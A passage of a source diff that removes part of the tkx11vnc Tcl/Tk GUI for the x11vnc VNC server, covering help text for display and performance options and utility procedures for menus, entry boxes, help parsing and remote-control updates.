-them too much unexpected things may happen).
-"
-#'
-
- set helptext(AlphaBlending:) "
-In this sub-menu we provide some tweak parameters for cursors (little
-icon at the mouse pointer) that have transparency (i.e. an Alpha channel
-in addition to Red, Green, and Blue RGB channels). For these cursors,
-some of the graphics underneath the cursor is allowed to be blended in:
-e.g. a drop-shadow (a terrible effect IMNSHO).
-
-AlphaBlending for x11vnc is only available when the XFIXES X extension is
-present (since otherwise it cannot see the cursors at all and so applies
-heuristics to show some fake cursors). AlphaBlending is only a problem
-with x11vnc when the cursors are not opaque.
-
-Opaque cursors (e.g. bitmap or simply colored cursor) are rendered
-correctly by x11vnc. Only when there is transparency does x11vnc have
-to make some approximation to transform the cursor to be opaque (the
-VNC protocol does not provide for an alpha channel in cursors, only RGB).
-
-The items in this sub-menu let you tweak x11vnc's approximation scheme
-for cursors with transparency. Hopefully you won't have to use them.
-Certain cursor \"themes\" may require adjustment however.
-"
-#'
- set helptext(OverlayVisuals:) "
-In this sub-menu are some options that involve fixing color problems
-for \"Overlay\" or \"Multi-Depth\" visuals. This problem is rare
-since overlay and multi-depth visual video hardware is rare.
-Some Sun, SGI, and HP machines are known to have them.
-
-The short answer is if you have a multi-depth visual display (e.g. 8 and
-24 bits), and you see messed up colors in x11vnc try the \"-overlay\"
-option on Solaris or IRIX.
-
-A brief Background on pixels, color, and visuals:
-
- Pixels (picture elements) are kept in video memory as a certain number
- of bits-per-pixel (bpp). Most common are 8bpp, 16bpp, and 32bpp.
- Less common are 24bpp, 4bpp, and 1bpp (monochrome).
-
- How pixel values (i.e. values of the bits) are rendered into colors on
- the screen can be done via different \"Recipes\". These different
- recipes are referred to as \"visuals\". E.g. for 8bpp there is
- a PseudoColor visual that maintains a mapping (that can be changed
- dynamically) of the pixel values (256 possible ones) into RGB values.
- Other 8bpp visuals, e.g. StaticGrey and TrueColor have fixed, regular
- mappings and so provide less variation in kinds of colors.
-
- A visual's \"depth\" is how many of the pixels are used in the
- actual recipe. This may sound wasteful (i.e. not using some of the
- bits), but for 32bpp (4 billion colors) that is too much and nearly
- always only 24 for them are used. The most common Visual seems to
- be depth 24 TrueColor at 32bpp. This provides 16 million colors
- which is more than the number of pixels on most screens (1280x1024 =
- 1.3 million pixels). Another sometimes used visual that ignores some
- bits is depth 15 TrueColor at 16bpp.
-
-OK, now, finally, to the Overlay Visuals. Some hardware (or software
-emulations) allow different depth visuals to be used on the display
-at the same time. The pixels of windows using different depth visuals
-may overlap.
-
-The most common seems to be both 8 and 24 depth visuals on a 32bpp setup.
-24 of the pixels can be used for one visual and the remaining 8 for the
-other. This is sometimes referred to as \"8+24\" mode. Furthermore,
-a speedup is achieved because writing graphics data to, say, the 8bit
-visual does not destroy the image data in the 24bit visual. Evidently
-popup menus can be done very quickly this way: they use the 8bit visual
-and when the popup goes away the graphics data in the 24bit visual is
-immediately reexposed without having the application redraw it.
-
-Also, some legacy applications can only use 8bpp visuals. But in these
-days of high color graphics and web browsers one would like the rest
-of the desktop to use depth 24 visuals. They often work on the multi
-depth visuals.
-
-How does this effect x11vnc? x11vnc nearly always polls the root window
-(container of all other windows). The root window will be one depth,
-e.g. 8 or 24. Any windows using the *other* depth will appear to have
-messed up colors (or just be black or some other solid color) when viewed
-via x11vnc.
-
-How to fix? Solaris and IRIX provide an API to extract the full snapshot
-of the display with all the colors correct. It comes to x11vnc as depth
-24 TrueColor. To enable this use the \"-overlay\" option. Performance
-may be slower, but if the colors are correct that is a big improvement.
-"
-
- set helptext(8-Bit-Color:) "
-Some older displays (e.g. with limited Video RAM) use 8 bits-per-pixel
-color. This allows for only 256 different colors on the screen at the
-same time. This sometimes leads to problems with viewing these 8bpp
-displays via x11vnc. This sub-menu has some options that correspond to
-workarounds for this case. If you can configure the machine to use 16bpp
-it may be worth it to avoid the color problems (e.g. color flashing
-as the 8bit colormap is switched).
-"
- set helptext(SubWindow:) "
-This sub-menu has a couple options regarding having x11vnc poll a
-single window, not the entire display. This way just the window
-is shared.
-
-Note if the application pops up multiple windows they are not tracked
-and shared. So this is not application sharing. The application has to
-be very simple (e.g. a simple terminal or the image window on a webcam)
-for this mode to be usable.
-"
- set helptext(ResizeRotate:) "
-This sub-menu has some options regarding screens that support the X
-Resize, Reflection, and Rotation Extension (RANDR), and one expects screen
-resizing, reflection, or rotation to take place during the x11vnc session.
-This is pretty rare, but x11vnc seems to handle it reasonably well using
-this X extension.
-
-This mode is on by default in -id mode to try to track the changing
-size of the SubWindow. It is not on by default for full-screen mode
-because of the extra overhead, etc.
-"
-
- set helptext(WireFrame:) "
-This sub-menu has some options for the x11vnc wireframing speedup scheme.
-
-For x11vnc, Wireframing means to watch for toplevel windows being Opaquely
-Moved or Resized. When x11vnc detects this, it stops polling the screen
-and simply shows a \"wireframe\" outline of the window as it is being
-moved or resized. This avoids \"screen polling thrashing\" when the
-screen is changing so rapidly during this period. For various reasons
-this is usually much faster then letting the window manager do its
-own wireframing (you are encouraged to do Opaque moves and resizes
-when using x11vnc!)
-
-Also, once a moved window is released in its new position, x11vnc uses
-the VNC CopyRect encoding to very efficiently update the VNC viewers
-(each just copies the image data locally).
-
-This sort of scheme was used much in the 1990's on local displays because
-video hardware was slow at the time. x11vnc tries to use this same trick
-as a speedup for its activities (the network is much slower than video
-hardware writes, and the video hardware reads that x11vnc uses to poll
-the screen are still slow today).
-"
-#'"
-
- set helptext(Safe:) "
-In this sub-menu are some options for making x11vnc operations
-more, or less, safe. E.g. disable the running of external commands, etc.
-
-You can also turn off the Remote control channel (NOTE that doing that
-will disable the GUI from being able to communicate with x11vnc).
-"
-
- set helptext(X-ext:) "
-In this sub-menu are a few rarely used options regarding some X extensions
-used by x11vnc.
-"
- set helptext(Clipping:) "
-In this sub-menu are some options regarding clipping or blacking out
-portions of the Screen. E.g. under XINERAMA when the multiple monitors
-are not the same size.
-
-"
- set helptext(Misc-Screen:) "
-In this sub-menu are some little used options modifying aspects of
-the screen source.
-"
-
- set helptext(Settings:) "
-In this sub-menu are some options for saving and loading option settings.
-The default file to store settings in is ~/.x11vncrc, but you can save
-different \"profiles\" in other files for later use.
-
-"
- set helptext(Java-applet:) "
-In this sub-menu are some options for running the built-in HTTP server
-that delivers the TightVNC Java VNC Viewer applet (VncViewer.jar) to
-clients. The viewer runs in their Web browser.
-
-The default port listened on is 5800, so the URL is typically:
-
- http://hostname:5800/
-
-but this can be altered by -httpport, etc.
-"
-
- set helptext(Chat:) "
-In this sub-menu are some options for enabling a local chat window
-and starting or stopping the current chat. This is the UltraVNC
-Text Chat support in x11vnc.
-"
-
- set helptext(ScrollCopyRect:) "
-This sub-menu has some options for the x11vnc Scroll detection and
-CopyRect speedup scheme.
-
-For this mode, x11vnc \"spies\" on communication between the X server and
-applications using the RECORD extension. It looks for various patterns
-to detect a scrolled window. This only works for some applications,
-fortunately some important ones.
-
-Once the scroll is detected it uses the VNC CopyRect encoding for a
-big speedup. Screen polling is also sped up for this scheme.
-
-There are many tweakable parameters for this mode and they are described
-in the sub-menu items.
-"
-
- set helptext(XDAMAGE:) "
-The DAMAGE X extension allows the X server to send signals to x11vnc
-telling it which regions of the screen have been changed. This improves
-x11vnc's performance markedly. The DAMAGE extension must be available
-on the display for this to work.
-
-Unfortunately DAMAGE cannot be trusted completely for the changed regions,
-because often the reported changed region is much larger than the actual
-changed regions. Nevertheless, x11vnc uses the DAMAGE information very
-effectively as hints to improve its performance.
-
-The items in the sub-menu allow tweaking x11vnc's DAMAGE algorithm.
-"
-
- set helptext(Ncache:) "
-A simple client-side (viewer) caching scheme is enabled with the
-\"-ncache n\" option. It simply uses \"n\" framebuffer sized areas
-below the actual display for caching window pixel data.
-
-Drawbacks are it uses a lot of RAM (roughly n times more), and the
-pixels cache area is visible in the viewers.
-
-The items in the sub-menu allow tweaking x11vnc's -ncache algorithm.
-"
-
- set helptext(SharedMemory:) "
-This sub-menu provides some options regarding SYSV shared memory usage
-(shm) by x11vnc. Usually you want shm turned on because the x11vnc
-process is nearly always running on the same machine the X server process
-is running on. SharedMemory gives a performance speedup. However, if you
-need to modify this scenario for special usage these options allow you to.
-"
-
- set helptext(Misc-Debug:) "
-This sub-menu contains a lot of debugging parameters usually used
-for debugging x11vnc itself. This is unlike the -debug_pointer and
--debug_keyboard options that are useful in learning information, quirks,
-etc. about your local display and environment.
-"
-
- set helptext(Selection:) "
-This sub-menu contains some options centering around the Selection
-(also referred to as the Clipboard, Cutbuffers, etc). x11vnc will try
-to exchange the selections between the VNC viewers and the X server.
-You can adjust that behavior with these options.
-"
-
- set helptext(WindowView) "
-Set the Window View Mode for the gui. There are three modes:
-
- - full: Presents the full gui (Actions, Clients, etc, buttons,
- and the Text area and Set/Entry box).
-
- - icon: Presents a small icon instead of the full gui. Moving
- the mouse over it shows the VNC display name and any
- connected clients. Clicking on the icon pops up a menu
- of actions to perform. Among them is \"Properties\" that
- allows setting more parameters. Clicking on \"Advanced\"
- in \"Properties\" brings up the full gui.
-
- - tray: Attempt to embed the small icon in the system tray. If
- this fails it will resort to icon mode where the small icon
- is a standalone window.
-
-Note that in \"full\" mode if you delete the full gui window the gui
-terminates (but the x11vnc server keeps running). However under \"icon\"
-or \"tray\" mode if you bring up the full gui window via \"Properties ->
-Advanced\" and then delete it the gui does NOT terminate.
-
-Also note that by default in \"icon\" mode if you delete the icon
-window both the gui *and* the x11vnc server terminate.
-"
-
- set helptext(gui) "
-tkx11vnc is a simple frontend to x11vnc. Nothing fancy, it merely
-provides an interface to each of the many x11vnc command line options and
-remote control commands. See \"Help -> all\" for much info about x11vnc.
-
-For a simplier gui, run x11vnc in \"tray\" or \"icon\" mode such as
-\"-gui tray\", \"-gui icon\", or \"-gui tray=setpass\". In that
-mode the full gui is only available under \"Advanced ...\".
-
-Also, \"-gui ez\" will show fewer menu items (toggle via Misc -> simple_gui)
-
-All menu items have a (?) button one can click on to get more information
-about the option or command.
-
-There are two states tkx11vnc can be in:
-
- 1) Available to control a running x11vnc process.
-
- 2) Getting ready to start a x11vnc process.
-
-Most people will just use state 1).
-
-In state 1) the Menu items available in the menus are those that
-correspond to the x11vnc \"remote control\" commands. See the -remote
-entry under \"Help -> all\" for a complete list. Also available is
-the \"Actions -> stop\" item to shut down the running x11vnc server,
-thereby changing to state 2). There are other actions available too.
-
-In state 2) the Menu items available in the menus (\"Actions\", \"Clients\",
-etc.) are those that correspond to command line options used in starting
-an x11vnc process, and the \"Actions -> start\" item executes
-x11vnc thereby changing to state 1). To see what x11vnc startup command
-you have built so far, look at the (?) help for \"Actions -> start\"
-and it will show you what the command looks like.
-
-There is much overlap between the menu items available in state 1)
-and state 2), but it is worth keeping in mind it is not 100%.
-For example, you cannot set passwords or password files in state 1).
-(update: simple password setting is now allowed in \"tray\" or \"icon\" mode).
-
-
-Also note that there may be *two* separate X displays involved, not just
-one: 1) the X display x11vnc will be polling (and making available to
-VNC viewers), and 2) the X display this GUI is intended to display on.
-
-For example, one might use ssh to access the remote machine where the
-GUI would display on :11 and x11vnc would poll display :0. By default
-the gui will display on the value in the DISPLAY env. variable followed
-by the value from the -display option. To override this, use something
-like: \"-gui otherhost:0\", etc.
-
-
-GUI components:
---- ----------
-
-1) At the top of the gui is a info text label where information will
- be posted, e.g. when traversing menu items text indicating how to get
- help on the item and its current value will be displayed.
-
-2) Below the info label is the area where the menu buttons, \"Actions\",
- \"Clients\", etc., are presented. If a menu item has a checkbox,
- it corresponds to a boolean on/off variable. Otherwise it is
- either a string variable, or an action not associated with a
- variable (for the most part).
-
-3) Below the menu button area is a label indicating the current x11vnc
- X display being polled and the corresponding VNC display name. Both
- will be \"(*none*)\" when there is no connection established.
-
-4) Below the x11 and vnc displays label is a text area there scrolling
- information about actions being taken and commands being run is displayed.
- To scroll click in the area and use PageUp/PageDown or the arrow keys.
-
-5) At the bottom is an entry area. When one selects a menu item that
- requires supplying a string value, the label will be set to the
- parameter name and one types in the new value. Then one presses the
- \"OK\" button or presses \"Enter\" to set the value. Or you can press
- \"Cancel\" or \"Escape\" to avoid changing the variable.
-
- Many variables are boolean toggles (for example, \"Permissions ->
- viewonly\") or Radio button selections. Selecting these menu items
- will NOT activate the entry area but rather toggle the variable
- immediately.
-
-
-CASCADES BUG: There is a bug not yet worked around for the cascade menus
-where the (?) help button gets in the way. To get the mouse over to
-the cascade menu click and release mouse to activate the cascade, then
-you can click on its items. Dragging with a mouse button held down will
-not work (sorry!).
-
-
-Key Bindings:
-
- In the Text Area: Control-/ selects all of the text.
- Anywhere: Control-d invokes \"Actions -> detach\"
- Anywhere: Control-a invokes \"Actions -> attach\"
- Anywhere: Control-p invokes \"Actions -> ping\"
- Anywhere: Control-u and Control-r invoke \"Actions -> update-all\"
-"
-
-set under_wally "
-Misc:
-
-Since x11vnc has so many settings and to avoid further confusion,
-the libvncserver options:
-
- -alwaysshared
- -nevershared
- -dontdisconnect
-
-are not available for changing in a running x11vnc (even though it
-is feasible). These options overlap with the x11vnc options -shared
-and -forever which are hopefully enough for most usage. They may be
-specified for x11vnc startup if desired.
-
-"
-
-global beginner_mode
-if {$beginner_mode} {
- set helptext(gui) "
-tkx11vnc is a simple frontend to x11vnc. It is currently running in
-\"ez\" or \"simple\" mode. For many more options run it in normal
-mode by toggling \"Misc -> simple_gui\".
-
-All menu items have a (?) button one can click on to get more information
-about the option or command.
-
-GUI components:
---- ----------
-
-1) At the top of the gui is a info text label where information will
- be posted, e.g. when traversing menu items text indicating how to get
- help on the item and its current value will be displayed.
-
-2) Below the info label is the area where the menu buttons, \"Actions\",
- \"Clients\", etc., are presented. If a menu item has a checkbox,
- it corresponds to a boolean on/off variable. Otherwise it is
- either a string variable, or an action not associated with a
- variable (for the most part).
-
-3) Below the menu button area is a label indicating the current x11vnc
- X display being polled and the corresponding VNC display name. Both
- will be \"(*none*)\" when there is no connection established.
-
-4) Below the x11 and vnc displays label is a text area there scrolling
- information about actions being taken and commands being run is displayed.
- To scroll click in the area and use PageUp/PageDown or the arrow keys.
-
-5) At the bottom is an entry area. When one selects a menu item that
- requires supplying a string value, the label will be set to the
- parameter name and one types in the new value. Then one presses the
- \"OK\" button or presses \"Enter\" to set the value. Or you can press
- \"Cancel\" or \"Escape\" to avoid changing the variable.
-
- Many variables are boolean toggles (for example, \"Permissions ->
- viewonly\") or Radio button selections. Selecting these menu items
- will NOT activate the entry area but rather toggle the variable
- immediately.
-
-CASCADES BUG: There is a bug not yet worked around for the cascade menus
-where the (?) help button gets in the way. To get the mouse over to
-the cascade menu click and release mouse to activate the cascade, then
-you can click on its items. Dragging with a mouse button held down will
-not work (sorry!).
-
-"
-}
-
-}
-
-proc center_win {w} {
- wm withdraw $w
- set x [expr [winfo screenwidth $w]/2 - [winfo reqwidth $w]/2];
- set y [expr [winfo screenheight $w]/2 - [winfo reqheight $w]/2];
- wm geometry $w +$x+$y
- wm deiconify $w
- update
-}
-
-proc textwidth {text} {
- set min 0;
- foreach line [split $text "\n"] {
- set n [string length $line]
- if {$n > $min} {
- set min $n
- }
- }
- return $min
-}
-
-proc textheight {text} {
- set count 0;
- foreach line [split $text "\n"] {
- incr count
- }
- return $count
-}
-
-proc set_name {name} {
- global full_win icon_mode
- global saved_set_name
-
- if {![info exists saved_set_name]} {
- set saved_set_name "tkx11vnc"
- }
- if {$name == "RESTORE"} {
- set name $saved_set_name
- } else {
- set saved_set_name $name
- }
- if {![info exists full_win]} {
- return
- }
- set w "."
- if {$icon_mode} {
- wm title $w "$name"
- wm iconname $w "$name"
- set w $full_win
- }
- wm title $w "$name"
- wm iconname $w "$name"
-}
-
-proc make_toplevel {w {title ""}} {
- catch {destroy $w}
- toplevel $w;
- bind $w <Escape> "destroy $w"
- if {$title != ""} {
- wm title $w $title
- wm iconname $w $title
- }
-}
-
-proc textwin {name title text {entry ""}} {
- global max_text_height max_text_width
- global bfont ffont
-
- set width [textwidth $text]
- incr width
- if {$width > $max_text_width} {
- set width $max_text_width
- }
- set height [textheight $text]
- if {$height > $max_text_height} {
- set height $max_text_height
- }
-
- set w ".text_$name"
- make_toplevel $w $title
-
- frame $w.f -bd 0;
- pack $w.f -fill both -expand 1
- text $w.f.t -width $width -height $height -setgrid 1 -bd 2 \
- -yscrollcommand "$w.f.y set" -relief ridge \
- -font $ffont;
- scrollbar $w.f.y -orient v -relief sunken -command "$w.f.t yview";
- button $w.f.b -text "Dismiss" -command "destroy $w" -font $bfont \
- -pady 2
-
- $w.f.t insert 1.0 $text;
-
- bind $w <Enter> "focus $w.f.t"
-
- if {$entry != ""} {
- # varname+Label Name
- set list [split $entry "+"]
- set varname [lindex $list 0]
- set labname [lindex $list 1]
- frame $w.f.ef -bd 1 -relief groove
- label $w.f.ef.l -text "$labname" -anchor w -font $bfont
- entry $w.f.ef.e -relief sunken -font $ffont \
- -textvariable $varname
- button $w.f.ef.b -text "OK" -font $bfont \
- -command "set ${varname}_ok 1; destroy $w"
- bind $w.f.ef.e <KeyPress-Return> "set ${varname}_ok 1; destroy $w"
-
- pack $w.f.ef.l -side left
- pack $w.f.ef.e -side left -fill x -expand 1
- pack $w.f.ef.b -side right
- }
-
- wm withdraw $w
- pack $w.f.b -side bottom -fill x
- if {$entry != ""} {
- pack $w.f.ef -side bottom -fill x
- bind $w <Enter> "focus $w.f.ef.e"
- $w.f.ef.e icursor end
- } else {
- bind $w <Enter> "focus $w.f.t"
- }
- pack $w.f.y -side right -fill y;
- pack $w.f.t -side top -fill both -expand 1;
- update
-
- center_win $w
-
- return $w
-}
-
-proc active_when_connected {item} {
- global helpremote helptext
- global icon_mode
-
- if {$icon_mode} {
- if {$item == "passwd"} {
- return 1
- }
- if {$item == "viewpasswd"} {
- return 1
- }
- }
-
- if {[opt_match G $item]} {
- return 1
- } elseif {[opt_match R $item]} {
- return 1
- } elseif {[opt_match S $item]} {
- return 0
- } elseif {[is_action $item]} {
- if {[opt_match R $item]} {
- return 1
- } else {
- return 0
- }
- } elseif {[info exists helpremote($item)]} {
- return 1
- } else {
- return 0
- }
-}
-
-proc active_when_starting {item} {
- global helpremote helptext beginner_mode
-
- if {$beginner_mode} {
- if {[opt_match G $item]} {
- return 1
- }
- if {$item == "display"} {
- return 1
- }
- if {$item == "attach"} {
- return 1
- }
- if {$item == "debug_gui"} {
- return 1
- }
- return 0
- }
-
- if {[opt_match G $item]} {
- return 1
- } elseif {[opt_match S $item]} {
- return 1
- } elseif {[opt_match R $item]} {
- return 0
- } elseif {[is_action $item]} {
- if {[opt_match S $item]} {
- return 1
- } else {
- return 0
- }
- } elseif {[info exists helptext($item)]} {
- return 1
- } else {
- return 0
- }
-}
-
-proc help_win {item} {
- global helptext helpremote menu_var
- global query_ans query_aro
- global beginner_mode
-
- set ok 0
- set text "Help on $item:\n\n"
-
- if {$item == "NewClient"} {
- ;
- } elseif {[is_gui_internal $item]} {
- if {$item != "gui" && $item != "all" && $item != "Misc-Tuning:" \
- && $item != "Properties" && $item != "Tray"} {
- append text " + Is a gui internal Action (cannot be set).\n";
- }
- } elseif {[is_action $item]} {
- append text " + Is a remote control Action (cannot be set).\n";
- } elseif {[active_when_connected $item]} {
- append text " + Can be changed in a running x11vnc.\n";
- } else {
- append text " - Cannot be changed in a running x11vnc.\n";
- }
- if {$item == "NewClient"} {
- ;
- } elseif {[is_gui_internal $item]} {
- ;
- } elseif {[active_when_starting $item]} {
- append text " + Can be set at x11vnc startup.\n";
- } else {
- if {! $beginner_mode} {
- append text " - Cannot be set at x11vnc startup.\n";
- }
- }
- append text "\n"
-
- if {[info exists helptext($item)]} {
- append text "\n"
- if {[is_gui_internal $item]} {
- append text "==== x11vnc help: ====\n";
- } else {
- append text "==== x11vnc startup option help: ====\n";
- }
- append text "\n"
- append text $helptext($item)
- append text "\n"
- set ok 1
- }
-
- if {[info exists helpremote($item)]} {
- append text "\n"
- append text "==== x11vnc remote control help: ====\n";
- append text "\n"
- append text $helpremote($item)
- set ok 1
- }
-
- if {![is_action $item] && [info exists menu_var($item)]} {
- global unset_str
- append text "\n\n"
- append text "==== current $item value: ====\n";
- append text "\n"
-
- if {$item == "passwd" || $item == "viewpasswd"} {
- ;
- } elseif {$menu_var($item) == ""} {
- append text "$unset_str\n"
- } else {
- append text "$menu_var($item)\n"
- }
- if {$item == "http" || $item == "httpdir" || $item == "httpport"} {
- global vnc_url;
- append text "\nURL: $vnc_url\n"
- }
- }
-
- if {$item == "start"} {
- set str [get_start_x11vnc_txt]
- append_text "$str\n"
-# append text "\nPossible \$HOME/.x11vncrc settings for this command:\n\n"
-# set rctxt [get_start_x11vnc_cmd 1]
-# append text "$rctxt\n"
- }
-
- regsub -all { } $item " " name
-
- if {$ok} {
- textwin $name "x11vnc help: $item" "$text";
- }
- return $ok
-}
-
-proc parse_help {} {
- global env x11vnc_prog;
- global helpall helptext;
-
- set helppipe [open "| $x11vnc_prog -help" "r"];
- if {$helppipe == ""} {
- puts stderr "failed to run $x11vnc_prog -help";
- exit 1;
- }
-
- set sawopts 0;
- set curropt "";
- while {[gets $helppipe line] > -1} {
- append helpall "$line\n"
-
- # XXX
- if {[regexp {^Options:} $line]} {
- set sawopts 1;
- continue;
- }
- # XXX
- if {[regexp {^These options} $line]} {
- continue;
- }
- # tweak aliases:
- regsub {^-zeroconf} $line "-zero_conf" line
- regsub {^-avahi } $line "-zeroconf" line
-
- if {! $sawopts} {
- continue;
- }
- if {[regexp {^-([0-9A-z_][0-9A-z_]*)} $line match name]} {
- set allnames($name) 1;
- if {"$curropt" != "no$name" && "no$curropt" != "$name"} {
- set curropt $name;
- set helptext($curropt) "$line\n";
- } else {
- append helptext($curropt) "$line\n";
- }
- } elseif {$curropt != ""} {
- append helptext($curropt) "$line\n";
- }
- }
- foreach name [array names allnames] {
- if {[regexp {^no} $name]} {
- regsub {^no} $name "" pair
- } else {
- set pair "no$name"
- }
- if {[info exists helptext($name)]} {
- if ![info exists helptext($pair)] {
- set helptext($pair) $helptext($name);
- }
- } elseif {[info exists helptext($pair)]} {
- if ![info exists helptext($name)] {
- set helptext($name) $helptext($pair);
- }
- }
- }
-
- set_internal_help
-}
-
-proc tweak_both {new old} {
- tweak_help $new $old
- tweak_remote_help $new $old
-}
-
-proc tweak_remote_help {new old} {
- global helpremote
- if ![info exists helpremote($new)] {
- if {[info exists helpremote($old)]} {
- set helpremote($new) $helpremote($old)
- }
- }
-}
-
-proc tweak_help {new old} {
- global helptext
- if ![info exists helptext($new)] {
- if {[info exists helptext($old)]} {
- set helptext($new) $helptext($old)
- }
- }
-}
-
-proc parse_remote_help {} {
- global helpremote helptext help_indent remote_name;
-
- set sawopts 0;
- set curropt "";
- set possopts "";
- set offset [expr $help_indent - 1];
- foreach line [split $helptext(remote) "\n"] {
-
- set line [string range $line $offset end];
-
- # XXX
- if {[regexp {^The following -remote/-R commands} $line]} {
- set sawopts 1;
- continue;
- }
- # XXX
- if {[regexp {^The vncconnect.*command} $line]} {
- set sawopts 0;
- }
-
- if {! $sawopts} {
- continue;
- }
- if {[regexp {^([0-9A-z_][0-9A-z_:]*)} $line match name]} {
- regsub {:.*$} $name "" popt
- lappend possopts $popt
- if {"$curropt" != "no$name" && "no$curropt" != "$name"} {
- set curropt $name;
- regsub {:.*$} $curropt "" curropt
- set remote_name($curropt) $name
- set helpremote($curropt) "$line\n";
- } else {
- append helpremote($curropt) "$line\n";
- }
- } elseif {$curropt != ""} {
- append helpremote($curropt) "$line\n";
- }
- }
-
- foreach popt $possopts {
- if {[info exists helpremote($popt)]} {
- continue
- }
- if {[regexp {^no} $popt]} {
- regsub {^no} $popt "" try
- } else {
- set try "no$popt"
- }
- if {[info exists helpremote($try)]} {
- set helpremote($popt) $helpremote($try)
- }
- }
-}
-
-proc parse_query_help {} {
- global query_ans query_aro query_ans_list query_aro_list helptext;
-
- set sawans 0;
- set sawaro 0;
- set ans_str ""
- set aro_str ""
-
- foreach line [split $helptext(query) "\n"] {
-
- if {! $sawans && [regexp {^ *ans=} $line]} {
- set sawans 1
- }
- if {! $sawans} {
- continue
- }
-
- if {[regexp {^ *aro=} $line]} {
- set sawaro 1
- }
- if {$sawaro && [regexp {^[ ]*$} $line]} {
- set sawans 0
- break
- }
-
- regsub {ans=} $line "" line
- regsub {aro=} $line "" line
- set line [string trim $line]
-
- if {$sawaro} {
- set aro_str "$aro_str $line"
- } else {
- set ans_str "$ans_str $line"
- }
- }
-
- regsub -all { *} $ans_str " " ans_str
- regsub -all { *} $aro_str " " aro_str
-
- set ans_str [string trim $ans_str]
- set aro_str [string trim $aro_str]
- set query_ans_list [split $ans_str]
- set query_aro_list [split $aro_str]
-
- foreach item $query_ans_list {
- if {[regexp {^[ ]*$} $item]} {
- continue
- }
- set query_ans($item) 1
- }
- foreach item $query_aro_list {
- if {[regexp {^[ ]*$} $item]} {
- continue
- }
- set query_aro($item) 1
- }
-}
-
-proc in_debug_mode {} {
- global menu_var
- if {![info exists menu_var(debug_gui)]} {
- return 0
- }
- return $menu_var(debug_gui)
-}
-
-# Menubar utilities:
-proc menus_state {state} {
- global menu_b
-
- foreach case [array names menu_b] {
- set menu_button $menu_b($case)
- if {![winfo exists $menu_button]} {
- continue
- }
- $menu_button configure -state $state
- }
-}
-
-proc menus_enable {} {
- global menus_disabled
-
- menus_state "normal"
- set menus_disabled 0
-}
-
-proc menus_disable {} {
- global menus_disabled
-
- set menus_disabled 1
- menus_state "disabled"
-}
-
-# Entry box utilities:
-proc entry_state {x state} {
- global entry_box entry_label entry_ok entry_help entry_skip entry_browse
- global old_labels
- if {$x == "all"} {
- if {!$old_labels} {
- $entry_label configure -state $state
- }
- $entry_box configure -state $state
- $entry_ok configure -state $state
- $entry_skip configure -state $state
- $entry_help configure -state $state
- $entry_browse configure -state $state
- } elseif {$x == "label"} {
- if {!$old_labels} {
- $entry_label configure -state $state
- }
- } elseif {$x == "box"} {
- $entry_box configure -state $state
- } elseif {$x == "ok"} {
- $entry_ok configure -state $state
- } elseif {$x == "skip"} {
- $entry_skip configure -state $state
- } elseif {$x == "help"} {
- $entry_help configure -state $state
- } elseif {$x == "browse"} {
- $entry_browse configure -state $state
- }
-}
-
-proc entry_enable {{x "all"}} {
- entry_state $x normal
-}
-
-proc entry_disable {{x "all"}} {
- entry_state $x disabled
-}
-
-proc entry_browse_button {{show 1}} {
- global entry_browse
- if {$show} {
- pack $entry_browse -side left
- } else {
- pack forget $entry_browse
- }
-}
-proc entry_focus {} {
- global entry_box
- focus $entry_box
-}
-proc entry_select {} {
- global entry_box
- $entry_box selection range 0 end
-}
-proc entry_get {} {
- global entry_box
- return [$entry_box get]
-}
-proc entry_insert {str} {
- global entry_box
- entry_delete
- $entry_box insert end $str
- $entry_box icursor end
-}
-proc entry_delete {} {
- global entry_box
- $entry_box delete 0 end
-}
-
-
-# Utilities for remote control and updating vars.
-
-proc push_new_value {item name new {query 1}} {
- global menu_var always_update remote_output query_output
- global query_result_list
-
- set debug [in_debug_mode]
-
- set getout 0
- set print_getout 0;
-
- set do_query_all 0
-
- set newnew ""
- if {$item == "disconnect"} {
- set newnew "N/A"
- set do_query_all 1
- } elseif {$always_update} {
- set do_query_all 1
- }
-
- if {$item == "remote-cmd"} {
- # kludge for arbitrary remote command:
- if {[regexp {^Q:} $new]} {
- # extra kludge for Q:var to mean -Q var
- regsub {^Q:} $new "" new
- set qonly 1
- } else {
- set qonly 0
- }
- # need to extract item from new:
- set qtmp $new
- regsub {:.*$} $qtmp "" qtmp
- if {$qonly} {
- set rargs [list "-Q" "$qtmp"]
- set print_getout 1
- set qargs ""
- } else {
- set rargs [list "-R" "$new"]
- set qargs ""
- }
- set getout 1
-
- } elseif {[value_is_string $item]} {
- # string var:
- set rargs [list "-R" "$name:$new"]
- set qargs [list "-Q" "$name"]
- } else {
- # boolean var:
- set rargs [list "-R" "$name"]
- set qargs [list "-Q" "$name"]
- }
-
- if {! $query && ! $always_update} {
- set getout 1
- } elseif {$item == "noremote"} {
- set getout 1
- } elseif {[is_action $item] && ![opt_match Q $item] && $rargs != ""} {
- set getout 1
- } elseif {[regexp {^(sid|id)$} $item] && ![regexp {^0x} $new]} {
- set getout 1
- }
-
- set remote_output ""
- set query_output ""
-
- if {!$debug} {
- if [regexp {passwd} $rargs] {
- append_text "x11vnc ..."
- } else {
- append_text "x11vnc $rargs ..."
- }
- }
-
- if {$getout} {
- set remote_output [run_remote_cmd $rargs]
- if {$print_getout} {
- append_text "\t$remote_output"
- }
- append_text "\n"
- return
- }
-
- if {$do_query_all} {
- set all [all_query_vars]
- set qargs [list "-Q" $all]
-
- global last_query_all_time
- set last_query_all_time [clock seconds]
- }
-
- set rqargs [concat $rargs $qargs]
-
- set query [run_remote_cmd $rqargs]
- set query_output $query
-
- set query_result_list ""
-
- if {$newnew != ""} {
- set new $newnew
- }
-
- if {![see_if_ok $query $item "$name:$new"]} {
- # failed
- if {[regexp {^a..=} $query]} {
- # but some result came back
- # synchronize everything with a 2nd call.
- set query_output [query_all 1]
- } else {
- # server may be dead
- if {$item != "ping" && $item != "attach"} {
- try_connect
- }
- }
- } else {
- # succeeded
- # synchronize this variable (or variables)
- # for a speedup used the list parsed by see_if_ok.
- update_menu_vars "USE_LIST"
-
- if {$do_query_all} {
- global all_settings
- set all_settings $query
- }
- }
-}
-
-proc set_kmbc_str {} {
- global vl_bk vl_bm vl_bb vl_bc vl_bf vr_bk vr_bm vr_bb vr_bc vr_bf
-
- set str ""
- if {$vl_bk} {
- append str "K"
- }
- if {$vl_bm} {
- append str "M"
- }
- if {$vl_bb} {
- append str "B"
- }
- if {$vl_bc} {
- append str "C"
- }
- if {$vl_bf} {
- append str "F"
- }
- if {$vr_bk || $vr_bm || $vr_bb || $vr_bc || $vr_bf} {
- append str ","
- }
- if {$vr_bk} {
- append str "K"
- }
- if {$vr_bm} {
